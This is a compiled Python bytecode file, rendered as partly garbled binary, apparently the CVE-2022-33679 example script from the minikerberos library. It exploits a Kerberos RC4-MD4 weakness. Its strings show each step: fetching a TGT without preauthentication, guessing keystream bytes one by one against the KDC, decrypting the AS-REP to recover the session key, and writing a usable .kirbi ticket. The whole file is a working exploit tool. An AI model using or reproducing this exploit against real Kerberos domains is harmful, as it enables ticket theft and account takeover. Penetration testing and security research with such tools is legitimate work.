o j#@sddlZddlZddlZddlZddlmZmZddlmZddl m Z ddl m Z m Z ddlmZmZmZmZmZmZmZmZmZddZd d Zd d Zd dZdddZddZdddZddZe dkrmedSdS)N)KerberosClientFactorykerberos_url_help_epilog)AIOKerberosClient)EncryptionType)Key_enctype_table) PA_ENC_TS_ENC HostAddressKRB_CRED KrbCredInfoEncKrbCredPart EncryptedData EncryptionKey PrincipalName TicketFlagscCstddt||DS)NcSsg|]\}}||AqSr).0_a_brr/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/CVE_2022_33679.py szbyte_xor..)byteszip)ba1ba2rrrbyte_xorsrcCs>g}tdD]}dd|jddddd}|t|q|S) N2sbigF byteordersigned)z addr-typeaddress)rangeto_bytesappendr )hostsxhdrrrget_padding_data!s r*cCs`t|}|dkr tdd}||}|d}|d}d|jdddd d |jdddd d S) NNOsyrrFr s0s 0)len Exceptionr%)cipher cipher_length header_length data_length first_len second_lenrrrcalc_known_plaintext.s,r7cCstjtjjjdd}|d}|d}dt|jdddd |}d t|jdddd |}|dkrGd t|jdddd |}|Sd |jdddd d|dt|jdddd }d ||}|S) Nr microsecondz %Y%m%d%H%M%SZrrFr 0) datetimenowtimezoneutcreplacestrftimeencoder/r%)nr@nowstrtttts_end timestampr(rrrget_crafted_timestamp;s  4 rLdcs8t|ddfddtdtDS)Nz z csg|] }||qSrr)rikdrFrrrNsz format_kirbi..r)base64 b64encodedecodejoinr$r/)datarFrrOr format_kirbiLs*rVcCsd|d}i}t||d<|d|d<|d|d<ttgd|d <||d <||d <|tjd d jdd|d<|tjd d jdd|d<|d|d<td d|dgd|d<i}t|g|d<i}d|d<t| |d<i}d|d<d|d<t ||d<|dg|d<t |S) N)keytypekeyvaluekeycrealmprealmcnamepname)z enc-pa-rep forwardable renewableinitial proxiableflagsauthtime starttimer)daysrr8endtimez renew-tillsrealmkrbtgt)z name-typez name-stringsnamez ticket-infoetyper1pvnomsg-typeenc-parttickettickets) rrsetr? timedeltarCrr r dumpr r )tgt sessionkeyr@keydcititerHrrr tgt_to_kirbiPs2     r|cst|}td|}dti}|jtj|dd}|j | IdH}|j }tdt j t jjjdd}td|jddi } |d d } t| } | dt| } td | t| | } td | td td| td| | }td||jtj||d}|j | IdH}|j }|ddkrtddStd|dtdd}t| }tddD]\}tdD]N}|d7}|jdddd}| |}t||} td| |}|jtj||d}|j | IdH}|j }|ddkrqtdt|||f|} ntddSqtd|t j t jjjdd}td|jddi } td td| | }|jtj||d}|j | IdH}|j }|ddkrltd!dStd"t|d d | }|d#d$d%}td&|||_td'|_d'|_td'||_t||| }td(tt |d)|!d*}|dur|}td+|t"|d,}|#|WddS1swYdS)-Nz[+] FETCHING TGT... addressesT)kdc_req_body_extra no_preauthz[+] GOT TGT...rr8 patimestamprpr1z[+] PLAINTEXT FRAGMENT: %s z[+] PARTIAL KEYSTREAM : %sz[+] VERIFYING KEYSTREAM...z[i] TIMESTAMP : %ssz[i] ENC TIMESTAMP: %s) enctimestampnewnowroz![-] FAILED! Keystream is not goodz*[+] PARTIAL KEYSTREAM WORKS! Got code : %sz)[+] GUESSING REMAINING KEYSTREAM BYTES...r.rrFr z6[+] Correctly guessed keystream byte position %s: 0x%szAll guesses failed!!!z&[+] GUESSED KEYSTREAM IN %s ITERATIONSz[+] REQUESTING FRESH TGTz FAILED! Keystream is not good :(z$[+] DECRYPTING AS-REP WITH KEYSTREAM+0s z[+] FOUND SESSION KEY: %srWz[+] KIRBI DATA:z%s.kirbiz %Y%m%d_%H%M%Sz[+] Writing .kirbi file to: %swb)$rfrom_urlprint get_clientr*build_asreq_ltsr ARCFOUR_MD4ksocsendrecvrunativer?r@rArBrCrr7r/hexrr$r%rL kerberos_TGTrkerberos_cipherkerberos_cipher_typerkerberos_session_keyr|rVrDopenwrite) kerberos_url kirbifilecuclient padding_data craftticketreprvr@rK cipher_dataplaintext_datacipher_data_header keystream enc_timestampctrorig_keystream_lentslen byteguesskeystream_guessdec_data session_keykirbifilenamefrrrexploitqs              $rcCsddl}|jddd}|jddd|jdd d dd |}|jdkr,tjtjd n|jd kr9tjtjd ntjd d t t |j dS)NrzRFetches TGT&session key for user who doesnt need kerberos preauth. CVE-2022-33679.zvUse it with a valid kerberus URL but any password. Example: "cve202233679 'kerberos+none://TEST\asreptest@10.10.10.2'") descriptionusagerzthe kerberos target string. )helpz-vz --verbosecount)actiondefault)levelr) argparseArgumentParser add_argument parse_argsverboselogging basicConfigINFODEBUGasynciorunrr)rparserargsrrrmains   r__main__)rM)N)!r?rrrQminikerberos.common.factoryrrminikerberos.aioclientrminikerberos.protocol.constantsr minikerberos.protocol.encryptionrr"minikerberos.protocol.asn1_structsrr r r r r rrrrr*r7rLrVr|rr__name__rrrrs(  ,   !f